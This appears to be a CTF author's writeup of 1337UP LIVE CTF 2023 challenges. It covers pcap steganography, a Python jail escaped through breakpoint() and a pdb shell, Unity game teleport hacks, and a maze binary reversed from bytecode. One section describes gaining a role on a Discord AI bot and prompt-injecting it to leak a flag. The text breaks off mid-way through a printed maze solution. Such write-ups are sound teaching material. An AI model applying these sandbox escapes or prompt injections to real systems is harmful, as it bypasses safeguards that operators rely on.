Published on

1337UP LIVE CTF 2023 Writeups

Authors

Introduction

These are the writeups of the challenges I made for 1337UP LIVE CTF 2023

NameCategoryDifficultySolves
Over the Wire (part 2)WarmupEasy166
PyjailMiscEasy87
TriageBot [3]MiscEasy27
EscapeGameEasy89
Dark Secrets [2]GameMedium10
Smiley Maze [2]GameMedium6
ObfuscationReversingEasy211
Lunar Unraveling Adventure [1]ReversingMedium12
Impossible Mission [1]ReversingMedium5
HiddenPwnEasy111
Stack Up [1]PwnEasy3
Retro-as-a-Service [1]PwnMedium1
Seahorse Hide 'n' Seek [1]PwnHard1

[1]: This challenge is made by both @DavidP and me.
[2]: This challenge is made by both @Et3rnos and me.
[3]: This challenge is made by both @CryptoCat and me.


Over the Wire (part 2)

CTF1337UP LIVE CTF 2023 (CTFtime)
Author0xM4hm0ud
CategoryWarmup
Solves166
DifficultyEasy
Filesotw_pt2.pcap

image

Solution

We get an pcap file as attachment. Lets open it in wireshark and check the protocol hierarchy:

image

There is a lot of different protocols captured in this capture. One interesting one is SMTP(Simple Mail Transfer Protocol).
Lets filter on smtp and follow the traffic:

image

It's some communication between 0xM4hm0ud and Cryptocat. It's talking about hiding future secret messages. In stream 114 we can find this message:

image

We can see some image sent as base64. When saving the base64 as an image we can see that it's just an picture of a cat. As in the message before they probaly used some steg technique to hide messages. When we run exiftool we can see this:

image

but this not the flag. Lets check the other packets. In stream 150 we can see another image. This one is a png file. We can use zsteg on png images. When we run zsteg we can see the flag(flag is hidden in lsb):

image

Pyjail

CTF1337UP LIVE CTF 2023 (CTFtime)
Author0xM4hm0ud
CategoryMisc
Solves87
DifficultyEasy
Filesjail.py

image

Solution

We get an python file as attachment:

import ast
import unicodedata

blacklist = "0123456789[]\"\'._"
check = lambda x: any(w in blacklist for w in x)

def normalize_code(code):
    return unicodedata.normalize('NFKC', code)

def execute_code(code):
    try:
        normalized_code = normalize_code(code)
        parsed = ast.parse(code)
        for node in ast.walk(parsed):
            if isinstance(node, ast.Call):
                if isinstance(node.func, ast.Name):
                    if node.func.id in ("os","system","eval","exec","input","open"):
                        return "Access denied!"
            elif isinstance(node, ast.Import):
                return "No imports for you!"
        if check(code):
            return "Hey, no hacking!"
        else:
            return exec(normalized_code, {}, {})
    except Exception as e:
        return str(e)

if __name__ == "__main__":
    while True:
        user_code = input(">> ")
        if user_code.lower() == 'quit':
            break
        result = execute_code(user_code)
        print("Result:", result)

We can see that it takes our input. If quit is sent the program will exit otherwise it will call execute_code with out input. In execute_code it first normalize our input with calling the function normalize_code:

def normalize_code(code):
   return unicodedata.normalize('NFKC', code)

This will normalize unicode. So unicode bypass is not possible. The program then parse the code with ast. It then walks through the tree and check if there is an function call or an import. If there is a function call it checks if the function is in ("os","system","eval","exec","input","open"). If it is it will not execute our code.

       parsed = ast.parse(code)
        for node in ast.walk(parsed):
            if isinstance(node, ast.Call):
                if isinstance(node.func, ast.Name):
                    if node.func.id in ("os","system","eval","exec","input","open"):
                        return "Access denied!"
            elif isinstance(node, ast.Import):
                return "No imports for you!"

After this check it will call check with our input. check is:

blacklist = "0123456789[]\"\'._"
check = lambda x: any(w in blacklist for w in x)

This checks if any char in our input is in blacklist. So numbers and []"'._ are not allowed.

After this it will execute our code with exec: return exec(normalized_code, {}, {}). We can see that the globals(second param in exec) is an empty dictionary. The builtins are not removed, so we can use builtins function. We cant use import because we checked that with ast. My solution was to use breakpoint. This is an built in function in python:

image

We then can use this inside our pdb shell to get the flag:

image

TriageBot

CTF1337UP LIVE CTF 2023 (CTFtime)
Author0xM4hm0ud & CryptoCat
CategoryWarmup
Solves27
DifficultyEasy

image

Solution

The description talks about an new bot and also about an beta for full functionality. Lets go to the discord server and talk with the bot.

image

We have an few options we can send. Those 3 arent helpful and is just sending the same message every time we call the option:

!anyupdate - Check for updates
!support - Ask for support
!bountyplz - Get a bounty

When we try the option !triage it responds with this:

image

So we are not a beta tester. In the description it talks about a beta role. The bot is inside the Intigriti server and we can't assign a role ourselves. So we need to invite the bot to our own server. For this we need an invite link. We need to generate the link. We can do it 2 ways. Search online for a random bot and copy the link or enable developer mode and go to the portal where you can generate links aswell(after creating a bot). The link looks like this https://discord.com/api/oauth2/authorize?client_id=CLIENT_ID&permissions=PERMISSION&scope=bot. We need to find the client id and also set permission. We can use the permission from the bot you found or also check in developer portal for permission. For the client id, you can copy the bot id when right clicking on the bot in the server(if you enabled developer mode). Another way is to use the carl bot:

image

So now we can fill in the url and invite the bot to our server. In our server we can add the beta role and talk with the bot.

image

So we are talking with an AI. We can use prompt injection to get the flag here. There are different ways to solve it. I used this payload to get the flag(after some tries it gives the flag):

image

Escape

CTF1337UP LIVE CTF 2023 (CTFtime)
Author0xM4hm0ud
CategoryGame
Solves89
DifficultyEasy

image

Solution

This was an unity game. We are trapped inside a box. The description tells us to escape from it. There are different ways to solve it. You can patch the file to double jump or fly, because it was an open box. I used cheatengine to teleport through the walls to the flag. Here you can watch the solution(it's from a different challenge but same solution).

When teleported outside of box we can see another box, when we teleport in that box we can see the flag:

image

image

Dark Secrets

CTF1337UP LIVE CTF 2023 (CTFtime)
Author0xM4hm0ud & Et3rnos
CategoryGame Hacking
Solves10
DifficultyMedium

Writeup can be found here

Smiley Maze

CTF1337UP LIVE CTF 2023 (CTFtime)
Author0xM4hm0ud & Et3rnos
CategoryGame Hacking
Solves6
DifficultyMedium

Our friend trapped us inside this maze! can you help us get out of this hell of a place safely? 🎮

Put the flag inside INTIGRITI{} and the format of the flag is hex.

A first look into the challenge

When we unzip the provided file, we can see it contains 4 files.

image

The README.md is just some instruction that tells us what we need to do if we get an error while running the challenge:

# Instructions
run `./build.sh`

If you get an error, you will need to add xauth cookie. On your host VM, run `xauth list`

Then go to the docker container and run `xauth add :0 . COOKIE`  

The Dockerfile and build.sh file are just to run the challenge in a docker container, if it will not run on your machine.

If we check the challenge file and run the command file we see:

image

A stripped ELF binary. If we run the game we can see that we are inside a maze:

image

We see hex values everywhere where we can walk. Based on the description we assume we need to solve the maze and get the flag by taking the hex values from the way we solve the maze.

Reversing the game

When we run the command strings -n 10 smileymaze we see:

image

So this ELF binary is actually a compiled python program. So it's probably compiled with: pyinstaller. We can extract the bytecode with: pyinstxtractor.

Lets extract it: image

We dont see any errors. This means it's compiled with python version 3.11. As far as I know there aren't any decompilers available for version 3.11. We can get the bytecode out of the pyc file. For this I used this python script:

import dis
import marshal

with open('smileymaze_extracted/main.pyc', 'rb') as f:
    f.seek(16)
    dis.dis(marshal.load(f))

Run it with this command: python3 decompile.py > output. We skip the first 16 bytes because with the first 16 bytes the marshal.load() gives an error.

Reverse the bytecode

Now we need to understand how the maze is created and what the begin and finish is. We need to solve the maze and we are not going to do it manually. So we will use the python library: mazelib. With mazelib we can solve a maze automatically. There are different algorithms we can use: algorithms. If we want to solve a maze we need a few things: start, end and the map.

We can find the end here in function checkfinish:

Disassembly of <code object checkfinish at 0x7fb231b25730, file "main.py", line 38>:
 38           0 RESUME                   0

 39           2 LOAD_GLOBAL              0 (j)
             14 LOAD_CONST               1 (125)
             16 COMPARE_OP               2 (==)
             22 POP_JUMP_FORWARD_IF_FALSE    13 (to 50)
             24 LOAD_GLOBAL              2 (i)
             36 LOAD_CONST               2 (1)
             38 COMPARE_OP               2 (==)
             44 POP_JUMP_FORWARD_IF_FALSE     4 (to 54)

 40          46 LOAD_CONST               3 (True)
             48 RETURN_VALUE

 39     >>   50 LOAD_CONST               0 (None)
             52 RETURN_VALUE
        >>   54 LOAD_CONST               0 (None)
             56 RETURN_VALUE

So finish is at (125, 1).

We can see at the beginning of the file that the start position is set at (59, 199):

30     >>  286 LOAD_CONST              11 ((59, 199))
            288 STORE_NAME              11 (position)

 32         290 LOAD_NAME               11 (position)
            292 LOAD_CONST               0 (0)
            294 BINARY_SUBSCR
            304 STORE_GLOBAL            12 (j)

 33         306 LOAD_NAME               11 (position)
            308 LOAD_CONST               9 (1)
            310 BINARY_SUBSCR
            320 STORE_GLOBAL             8 (i)

We can see that the map is created here:

20          22 LOAD_CONST               3 ('SOME WEIRD STRING HERE')
             ......
             ......
             24 STORE_NAME               3 (m_string)

 22          30 LOAD_CONST               5 (201)
             32 STORE_NAME               5 (size)

 24          34 BUILD_LIST               0
             36 STORE_NAME               6 (m)

 25          38 PUSH_NULL
             40 LOAD_NAME                7 (range)
             42 LOAD_CONST               0 (0)
             44 LOAD_NAME                5 (size)
             46 LOAD_CONST               6 (2)
             48 BINARY_OP                8 (**)
             52 PRECALL                  2
             56 CALL                     2
             66 GET_ITER
        >>   68 FOR_ITER               108 (to 286)
             70 STORE_GLOBAL             8 (i)

 26          72 LOAD_GLOBAL             16 (i)
             84 LOAD_NAME                5 (size)
             86 BINARY_OP                6 (%)
             90 LOAD_CONST               0 (0)
             92 COMPARE_OP               2 (==)
             98 POP_JUMP_FORWARD_IF_FALSE    21 (to 142)

 27         100 LOAD_NAME                6 (m)
            102 LOAD_METHOD              9 (append)
            124 BUILD_LIST               0
            126 PRECALL                  1
            130 CALL                     1
            140 POP_TOP

 28     >>  142 LOAD_NAME                6 (m)
            144 LOAD_CONST               7 (-1)
            146 BINARY_SUBSCR
            156 LOAD_METHOD              9 (append)
            178 PUSH_NULL
            180 LOAD_NAME               10 (ord)
            182 LOAD_NAME                3 (m_string)
            184 LOAD_GLOBAL             16 (i)
            196 LOAD_CONST               8 (8)
            198 BINARY_OP                2 (//)
            202 BINARY_SUBSCR
            212 PRECALL                  1
            216 CALL                     1
            226 LOAD_CONST               9 (1)
            228 LOAD_CONST              10 (7)
            230 LOAD_GLOBAL             16 (i)
            242 LOAD_CONST               8 (8)
            244 BINARY_OP                6 (%)
            248 BINARY_OP               10 (-)
            252 BINARY_OP                3 (<<)
            256 BINARY_OP                1 (&)
            260 POP_JUMP_FORWARD_IF_FALSE     2 (to 266)
            262 LOAD_CONST               9 (1)
            264 JUMP_FORWARD             1 (to 268)
        >>  266 LOAD_CONST               0 (0)
        >>  268 PRECALL                  1
            272 CALL                     1
            282 POP_TOP
            284 JUMP_BACKWARD          109 (to 68)

We can ask chatgpt to reverse this to python code. It won't be 100% correct, but this the output after some small changes:

m_string = "WEIRD STRING"
size = 201

grid = []
for i in range(0, size**2):
    if i % size == 0:
        grid.append([])
    grid[-1].append(ord(m_string[i // 8]) >> (7 - i % 8) & 1)

If we give this grid to mazlib it will error: TypeError: Argument 'grid' has incorrect type (expected numpy.ndarray, got list) . So we need to convert the list to a numpy array. We can do this with: arr = np.array(grid, dtype=np.int8).

Now we have the first part:

from mazelib.solve.BacktrackingSolver import BacktrackingSolver
from mazelib import Maze
import numpy as np

m_string = "ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÕE\x05\x04Q\x01\x10DP\x10\x00\x00\x01\x00\x00D\x00\x04DAU\x05P\x15\x15j®ú¿ªîëû®¿ëÿûﻺûëºûª¾«ºº´DU\x10\x01\x11\x14T\x04P\x14AD\x01EDQ\x04\x04\x01\x04\x04\x00T\x05\x1aúêîê»»ªïï«û»ï¯»îûîºîÿ®úî¼\x01\x10PUE@\x00@\x05U@\x00EQ\x00\x00Q\x05UD\x04QTT\x16®ë¯¯ï¿ï¯ê»ºÿ¾¯ÿïîºû»¾ëê®ûQ\x00PP\x00\x10\x05\x15UU\x05Q\x01\x11U\x15EDE\x15UDD@\x11»ÿëî®ï®î®ªºë﫪îºîúꪻúúºÑ\x01\x00TTE\x15\x14A\x04\x05QUUA\x00\x14\x05\x00\x14\x00Q\x10UAn¾úïÿúþ¾þ»¿îªººÿëþÿ»¯«¾ë¯õUE\x11\x05\x05\x04EP\x11\x14\x11\x00\x01EE\x14\x14\x15\x00\x11P\x10\x04P\x1eê»ëêî¿®®îë»ë¾»ºëêêþ¿»þ®ªì\x15@\x15\x14@\x04\x04\x04TU\x00EP\x05P\x00P\x10\x14D\x00\x00PUW®¾úï»»úïëªî믺«ë¯ºº¯ºú®»¯P\x00\x00@\x01\x05\x10T\x14A\x05\x05\x01D\x01EQ\x05@P\x05\x05TU\x05¾û»º»îïëëêú»û¾û¿«¯ûë»»ÿûúÐ\x11E\x01PT\x01@\x00\x15\x01\x15Q\x00\x15E\x00\x11EDDP\x00ADo¾¿ï®ïï®ïëïû¯þº®»¿º»ÿÿ«îºð\x11\x10\x04\x14@\x00\x04D\x01AE\x04DTP\x15\x04\x00\x10\x00\x01T\x05Q^þ®ë¿îÿ»ïª»ºû»»ïú®êþú¾«¾ë\xad@\x14\x15P\x04\x10\x04E\x15AAP\x00\x11\x15AT\x15@AA\x15@\x00F¾ï¿¾îºîþûÿ®®¾îê¾ûºûºîÿºÿû\x14@Q\x00AEAQE@\x04\x04TA\x00\x00\x00EQ\x05\x11\x00\x05\x10E«ûûï¯ïê¯«ûïúû믪ê¯ïþ®¯Ð@Q\x11\x14\x04\x05A\x00\x15T\x14\x00D\x11E\x05Q\x11UT\x14UUP{»®¾ÿ»ûûïꮿîÿ¿îë®êë®îêþºðQ\x14\x01Q\x10E@P@TT\x05\x00\x00\x00\x14\x11\x15@P\x14\x00P\x01_ûûûî꫺«þ¿ºþ¿®ê®ïºþ»®û®þíD@\x00\x00\x05TA@@T\x10@\x04\x11ET\x14\x11@EP\x14@\x14\x16®®ªîêî¯êîûîÿïúþ«¾ÿîï¿»®û«\x00UUEE\x15D\x05\x14QA@\x05A\x10TAP\x04\x10\x04@QQ\x11ª¾þêïþëî¿ê¯¿®®ª«ëîëºîûÿªûÕPA\x15\x05D\x04\x15A\x11\x01\x10\x14\x05UTT@\x14Q\x10\x04\x10A\x10n¿»ûî»ëúÿêïê¿þ¿¾ïïúîú»þîê±P\x11A\x05\x00\x05\x10\x14\x01E\x15P\x00\x04\x10TT\x01A\x15E\x00QUZ»îªî¿«ê»»¾¾¿¾îÿê﫺ºï¯ë¯\xadE\x00E@D\x15APDQ\x00T\x10\x14A@\x10\x15\x05P@\x10Q\x05\x16ï¿¿º«ïºþþûê»ûïú»ï®ï¾û¯ëêÿD\x15\x04\x11U\x01Q\x10\x00\x10\x05T\x01AU\x00@\x14\x14\x04A\x10\x14D\x01ﺫ»ÿ¿®þ®¾«ûû««ºî®¯»ªîëû¾Å\x10\x14E\x14\x14\x00@QPUDE\x05\x01E\x14QPPU\x11\x10DE~þ»¾ëê»îþ¿îºûû»úëû»î®®±PQ\x14\x11DTDPQ\x04@\x10\x05\x04\x05UEAE\x15\x05\x11ET^¯¿ëþ®ºÿï¾ïûîûÿ«»î¾þºë»î®ü\x01TQP\x15D@\x00\x10\x01\x01\x01D\x01\x15DQT\x15\x11T\x05AP\x07þ»®®þþ¾þ¯«ÿîûºþ¯ê뺮»ï\x15\x04\x00\x00\x04PD\x10T\x14D\x14\x00\x15\x00AAQU\x14\x00E\x05\x14Qêû«¾»®úþîîî¯þúþ¾¿«ªîëëÀ\x00\x14DP\x00A@\x14APP\x00@PP\x01\x10\x00\x14DD\x10Q\x00j®¾ûîî¾ÿû«îþîû®ú®î»û»ª®îþõUP\x04AQED\x01T\x14ADQ\x04\x15QAD\x10QUQ\x01\x11\x1aê¿®»«¾ûú¾ûîîï¿»»ëêþîªï®¾½\x15\x04\x15Q\x10AT\x15A@\x04\x04\x14\x11\x04\x10EE\x01QEPQA\x06ïªî뺿«êúï¿îúîïï¾»þî»ëûïï\x11\x15TE\x15T\x05\x00E\x04\x10\x04QA\x01\x04\x05@\x04\x10PD\x04@\x11º¯¯¿ú»îÿûî¿ûî»ëû®þ¿®«êêîþÑQ\x15\x05\x10P\x10\x05D\x04APTQ\x04\x11T@@TTTU\x11Enûúú¿ÿºú®î¯ªë»þþ¾ÿª¾¾îïú®ñ@@\x01U\x11QD\x00DT\x05@\x01@A@\x11\x15PPP\x00\x11@\x1aêᆰë®ë««¯»îêªûêë«»ªëîîúíEUP\x01@\x00D\x15\x15\x14\x10Q\x15\x15@\x05@\x15\x04U@D\x11\x15F못¾ºîë뾿º¯¾¯ºïþîþë®ê«û»U\x11\x01\x10\x15AUE\x14QQ@PT\x05@@D\x05DU\x15T\x10E¯þúÿë¿ï«ë¾»ïº®û«þûî¿ê¾ïîþÁ\x00AA@\x10@\x04T\x05\x11\x04\x01UPTP@ATE\x05\x15@\x01{úëû¿¿¿ëîê»úë¾îîïºÿ«¿®ê«ïðUE\x04\x01U\x11T@E\x01UU\x01\x01E\x15\x11DA\x00P\x15\x04@_ª«îûºº«û»ûª®«î¾êï«»ûîÿ®ú¬\x05U@\x15\x01\x01\x01E\x10@@PTD\x00\x14\x04\x04DT\x04\x01\x14\x11G¾»»ºû®®¯î®ûªþÿ»ÿïëªë¿¿PQ\x00P\x04\x14QD\x04TPU\x14\x11\x04@\x00\x14\x01P\x15UU\x14\x01¿»ûþª¾¯û¿¿ïîë¾þúªû¾ÿ¾îëë¯ÔUD@TTUE\x00P\x04AA\x14\x00\x05UPPU\x01DA\x01Pjë»ÿîúþººûúê¾úûîëêëê뻿º»±\x14P\x01\x05@\x15D\x05Q\x01ED\x10@A\x15A\x14@\x05\x05@U\x10Zêï»þûú¯ïëþº«¾þ»º¾ÿî»ï¿ûïíA\x11QEQ\x14\x00\x04PU\x01UP@PQ@PTD@\x01\x10@\x17¾»ºº«ë¯»«êºî«úêþº®î®ÿ»ëúë\x04\x14ED\x05U\x14\x05\x04@\x11\x11DAE@E@\x05T\x04\x10\x00\x11\x15ûë»»»ªÿïëûþûûëþªºîï¾î¾ÄAU\x15\x10\x00DET\x14E@PPDQ\x05DU\x05\x15E\x01\x14A{»ªêᆵ¾®êú«ÿïªï믻þºªî¿ë°\x14T@TQDA\x15@A\x14A\x15\x05@\x04\x10\x05\x00DU\x01D\x04_ªë¿¯¾ë¯êû¿îºê¯¾ë®ëû¿îïï¾ì\x10@\x04A\x00TUT\x04P\x04Q\x00\x11\x01DTD@@A@D\x01V»ªï«û¯ª«®ë»¿ªîëë¯êîîªë»ê«EE\x14UU\x00\x00\x00PDQ\x05\x15D\x15\x15Q\x05E\x14U\x15\x10\x15E®º¾î«¾«»¾¾»î¾û®»®êª»«¿®ûîÔ\x15Q\x05\x04DU\x11AQQ\x05\x10\x11T\x15EUUQ\x14A\x14\x11\x01o«ë¿î®¾ººÿú¾ëªë¿¾þêû¿êµ\x14\x00\x00\x01A\x10\x04E\x04\x05Q\x15E\x15@E\x01\x04\x00\x01\x15A\x15\x15^ëþû»«¯»ú¾îºê»ªîêºþ®ÿ¿þ꿬\x05\x00\x05\x04\x04UE\x01\x10\x15EP\x00\x14\x01\x15U@T\x05A@P\x01Vÿ®«¾ëî®ëª¾ïﻫ»û»»û¾«¾ê¿¿P\x11UDD\x14\x14\x15\x15D\x01\x14\x05\x14DTP\x04Q\x00\x14\x01A@\x01ë«ÿ¯ë¾«ïû請«îþêû¾¯î«û»êïÑ\x15\x00\x14\x04TP\x15AT\x15@U\x01P@\x15\x14P\x01T\x05T\x15Djêë®ûû¾þ»«ëê®ú¯ªûëû¯¾ï«ºþõ\x15U\x10@\x10\x11@\x01\x01\x04EAAAUQ\x04\x11\x14\x01\x10A\x05\x00Zÿîî¾î®¯ê¾ºþûþÿ¿îë¿ï¿«î뻬\x01@\x14T\x15T\x14\x05DQ@@\x10\x01@\x00\x05AQPU\x01\x15\x04G«®¿úþ꯻»ºº¾þê¾ÿ«®ªº¿êú«ï\x15\x05Q\x00\x00UQ\x11QEEP\x10EPP\x14D\x01\x01@\x15\x05TAîêþ¾®ªê«¯¾»¯îûû¾ê꾯»ëÑE\x14\x04QQ\x15ED\x01U\x14\x14Q\x05\x04\x10A\x04E\x15DT\x04\x14nÿêþ»êû®®ëîþúþîû¾îëê®ï¿¾®°@\x00\x04T\x15\x15\x14\x14TAUA@\x10\x14\x01DDEU@P\x04QZ¯ºïª¯û¿îëëêþïºú뺮úªû¾¯¯\xadT\x11\x14\x14PP\x05\x15@\x14U\x00\x11\x05@\x15\x05T\x11T\x04AQQ\x17»ê¿¾û«þê«¿ªï»êºï￾ë¯¿\x11EDT\x14PP\x00TQP\x04\x01\x05Q@AP\x01D\x15UQ\x00Qï¯þêúúï¾ëþ¾ÿª®þ®¯»êªºú¾»ûÁ\x04\x14D\x10\x11\x15\x15\x14@\x11P\x15U\x11TU\x15\x05UPE\x00DT~«ª¿úºúº®î¾»¾¾»úîþºî®ªðTPA\x01Q\x10\x14\x15AP\x01\x10T\x11TU\x00\x01D\x01D\x01TT_ïþºúîþ«®»«®®úëºú®®ïº®úÿª¬\x04\x11Q\x01D\x11Q\x14\x11Q\x11TD\x10AT\x11U\x15EQA\x00PG¿®¿¿»ûÿûûïúþê»î¾º»þ¯î«\x14UP\x04\x10P\x00\x00E\x11\x14\x01\x11A\x11\x00P\x11\x10\x05P@UTU꺿»®ë¿úþ¾ëï¾¾ûª¾®®¾¿ëº«ºÅ@\x00\x10T\x10P\x01\x10\x04DUT\x10\x04\x15PTPEDE\x05\x00E~ú¾ïê»ïîîë¾êªê¿¿ÿ¿¯¾þÿ¾ûïð\x01P\x10UQ\x00EAE\x04EQAAE\x00\x10\x14\x00\x00\x10\x01PA\x1e¯ºÿïúú뻮껪û®ÿ¾ªúïîþíT\x15@\x00\x01AA\x10D\x15\x10\x00\x05E\x05\x01\x11A\x14UQ@P\x04Fû믾úû¿ëþ¾¿»þúïîîþº¿®ûï¯ïE\x05\x14\x10\x11\x04PDTDP\x15T\x05A\x04Q\x10\x04@DP\x01\x10\x01»þïêê«ÿ®ëëþ»«¿ÿûªºûûÿ¯¿îþÀ\x00\x00UEU\x00\x05\x14\x05\x14PEA\x00\x05EED\x04\x04PD\x01\x04{ÿîªî«»®ºï»êº¯úº¯«ªþªþ¯ûîµ\x14\x01U\x11U\x10T\x10A\x00UT\x04EPAU\x14\x04UDP@QZëûë¿»þ¯®ûÿ«êêúû»¯þ¯»¯ºúîí@\x01\x04\x04\x04\x04T\x14\x11P\x00\x10U\x11A\x05\x00\x10PP\x01\x15\x11\x01Fÿþ¾îïÿ¿®¾®þ¿®¾îïêþºþ»êÿî»\x14\x10ED\x11\x10\x10\x15P@ATA\x04\x04A\x15TQ\x05D\x01\x01\x04Eë¾¾»¿îîú¯ªêû¿¿¯ú¾ëª¾ëºïï¾Ð\x15P\x04A\x00\x15@Q\x15E\x04\x00\x01U\x01\x10\x10U@\x15\x05@\x15\x05k꾺¯úî¾ûÿûúþª¾ú¯ú¯ïºëúºîð@\x01ET\x05D\x15PU\x01\x10QU\x10\x01UEEAUD\x05P\x10\x1fÿ뻺¯ÿêîê»ëëë««®ºêºª¾ê¾û¼\x00\x05PEU\x00\x01\x10\x11\x05P@\x04TTQ\x00D\x05\x11D\x15T\x04Gûî¯ïîÿûªîþ¯º®»îÿ¾ú¾êÿ¿êî¿DDAD\x00\x05QQU\x00\x04QTDA\x11\x10\x11EE\x01\x00\x11\x14A®û몾®ú«»»¯ï¾î®ú¿ëû»«¯ÀPEEPA\x00\x11D\x01TA\x04QA\x04\x05T\x11ED\x10PTQz«ú®ÿûï¯êû»îîûªþªÿ®¾»»¾¾ú±Q\x01ADP\x04\x10\x15Q\x11\x14DQ\x15@TP\x11\x00\x04Q\x05AQZúë뻫»îïïÿîú®¿ª¾ê»¯»®ú¿ª\xad\x05DED@DAAA\x14\x00\x11P\x00UDQPPQ\x11\x14AQG¯ê꯫ºº«ÿû¾ï¯ëîªÿê믮»\x11\x05DPEET\x15\x01\x00T@\x15AT\x15\x05AUU\x15@P\x14E»ûëîû®ÿ«ûëîþê»ïêê«þª¿ûëû®ÅPD@DE\x14\x15EDAP@\x10E\x04\x05\x14A@\x01\x00T\x11\x14o®ïþªîêÿ®»úëþïîúûîþ¾¾ï®ÿ¾µ\x00\x14\x00TA\x01P\x00\x10AE@\x11@\x01\x05\x04\x10\x01A\x10EDP^ïªþ¾ªªª¯»ÿû»«ªª»îﻯþîîÿ¼\x01\x15@PUUEU\x11\x00\x00\x00T\x15UD\x14E\x10PQ@\x00\x04\x07úûê¾îþ¿úïÿ¿¾ú뻯»ú»ïëºû®ï\x01@EPD@P\x00D\x00\x10PAE\x10Q\x05TE\x00\x00Q\x05\x11\x11þþÿ¿¯«ûªûþï¿«þ¾û¿ªëê®þ®®ûÀ\x04\x14P\x14\x15A\x15A\x00A\x00\x14@A\x04P\x00E\x05Q\x14QQ\x10j﫯º¯¾û¯¾ûú¾ú«¾¾ê«ûîûº»»õA\x14\x00UQ\x00\x05\x10DQAPATDT\x15T\x15\x01\x00EQ\x04\x1bûê®û»¿®êïî¿¿¿ú¯ë«ë»»¯º«¾½\x01EUA\x10T\x14\x15\x14\x00\x04\x10A\x01QQ\x15\x04A\x14TETPF»ºººîûﺮ»ª¿¯®û«ïºúêê¯þîïU\x01PQ\x01@\x01\x11UPUP\x01QD@@QAADQ\x00QAûþû¾ïúûëîûï¿ê«®®»«¾ëêþþïîÄ\x00\x05AD\x01@DD\x00A\x10\x05E\x01QQ\x15T\x14\x15D\x04\x00\x15oï¾»®þªúþ®îîþ»ïûº»«þ«¯»¯ºõ\x01\x01A\x11PU\x11AQEDPD\x10DQU\x00\x10U\x00DQ\x04Zû»¾ûªº»þþº¿ª®ºêú¯ï®«êì\x01DP\x05\x11EQ\x11\x15PP\x11TQ\x05TA\x10\x11P\x11\x15T\x15\x07ëªþ¾îïÿîêê¿þ¯ª®ë¯þ¿®«êúî»U\x05ETA\x15D\x04AUD\x00T\x15Q@UQTTT\x14\x05\x11Uªîºêï¾»»¾¯»ëïë«îî®êþººþûªÁTD\x01E\x04\x01T\x04\x00\x11DE\x05\x14\x14U\x11P\x04UQ\x01\x10Uj«ÿª¾¯ªºº»¾¾þú¯¿®î«®ûú¯¾êµP\x04\x15D\x11U\x14TE\x01\x11\x04\x01Q\x01\x10\x00\x01\x14\x01\x15QPDZ»úªêë®ë뮺»¿ºïëïïþ¯ê«º¿ë½EAUEE\x01@\x01QQP\x10\x15@E\x15\x04\x14PE\x11\x11\x04U\x07«»ïÿ®»¾®¾º¾ÿ¾ÿ»¾û¯ÿ»¯ï\x01\x11\x15\x15\x10D\x05\x15\x10PTAPU\x05\x05AP\x01E\x10\x10\x04\x05\x01û¾þïþîúê»îþú»ª¾ê¾ªîîû¯îêîÁ\x01\x00\x01\x10DA\x14PA@\x11QQ\x01\x14\x15\x01A\x01\x04PA\x14Unëúúëÿþï¾»¯¾û»ï¿ºº»ï¾þÿ몵DEAUE\x15\x15QPTA\x15\x00D\x10\x05UP\x10AE\x00DPZúººê»»ï«ºúû뺫¾ûë®îêºí\x11@TP\x00\x00D\x00\x04U\x05\x01EPA\x10\x01\x04\x04\x14A\x11\x15QW¾úî¾î«ºªëîëºú¯îû¿®ï¯ï»î¯¯\x00\x05\x14T\x14U\x00U\x15@\x15Q\x10E\x01EU\x11\x11\x14\x00\x04TQU꾫뿾®ëªú®ûﺻ¾ï»¿ïûªÄA\x11ATU\x04T\x10\x14\x11EUPA\x10\x00\x11\x05A\x15\x00\x14\x15P~ëûªû¿ªê®ëú®ë못ê®îëꮪª®´D\x15\x05P\x05UAQDQA@\x04UA\x05Q@\x14DQPQ\x04[ú««î¾®¯ï»ªïªë»ïºêï¯úîÿÿû¼\x01Q\x15\x00T\x04U\x05\x14UDU\x15\x11\x05U\x15\x10Q\x05D\x15E\x04Fîúî뺯úºêûêÿ¿ïú»»úû¾úº®ºëD\x11\x14E\x10T\x00P\x11@\x04\x10\x01\x04\x01\x00\x05\x01@\x01A@\x00\x05Eÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ\x01"
size = 201

grid = []
for i in range(0, size**2):
    if i % size == 0:
        grid.append([])
    grid[-1].append(ord(m_string[i // 8]) >> (7 - i % 8) & 1)

arr = np.array(grid, dtype=np.int8)

m = Maze()
m.grid = arr
m.start = (59, 199)
m.end = (125, 1)

m.solver = BacktrackingSolver()
m.solve()
solution = m.solutions[0]

If we run this, we get this solution:

[(59, 198), (59, 197), (59, 196), (59, 195), (59, 194), (59, 193), (59, 192), (59, 191), (58, 191), (57, 191), (56, 191), (55, 191), (55, 190), (55, 189), (54, 189), (53, 189), (52, 189), (51, 189), (50, 189), (49, 189), (49, 188), (49, 187), (48, 187), (47, 187), (47, 186), (47, 185), (46, 185), (45, 185), (45, 184), (45, 183), (44, 183), (43, 183), (42, 183), (41, 183), (41, 182), (41, 181), (41, 180), (41, 179), (40, 179), (39, 179), (39, 178), (39, 177), (39, 176), (39, 175), (39, 174), (39, 173), (38, 173), (37, 173), (37, 172), (37, 171), (37, 170), (37, 169), (37, 168), (37, 167), (36, 167), (35, 167), (34, 167), (33, 167), (33, 166), (33, 165), (33, 164), (33, 163), (32, 163), (31, 163), (31, 162), (31, 161), (31, 160), (31, 159), (31, 158), (31, 157), (30, 157), (29, 157), (28, 157), (27, 157), (27, 156), (27, 155), (28, 155), (29, 155), (29, 154), (29, 153), (29, 152), (29, 151), (29, 150), (29, 149), (30, 149), (31, 149), (31, 148), (31, 147), (32, 147), (33, 147), (34, 147), (35, 147), (35, 146), (35, 145), (35, 144), (35, 143), (35, 142), (35, 141), (36, 141), (37, 141), (37, 140), (37, 139), (38, 139), (39, 139), (39, 138), (39, 137), (39, 136), (39, 135), (39, 134), (39, 133), (38, 133), (37, 133), (37, 132), (37, 131), (37, 130), (37, 129), (37, 128), (37, 127), (38, 127), (39, 127), (39, 126), (39, 125), (39, 124), (39, 123), (39, 122), (39, 121), (40, 121), (41, 121), (42, 121), (43, 121), (44, 121), (45, 121), (46, 121), (47, 121), (47, 120), (47, 119), (47, 118), (47, 117), (47, 116), (47, 115), (47, 114), (47, 113), (46, 113), (45, 113), (45, 112), (45, 111), (46, 111), (47, 111), (48, 111), (49, 111), (50, 111), (51, 111), (51, 110), (51, 109), (52, 109), (53, 109), (54, 109), (55, 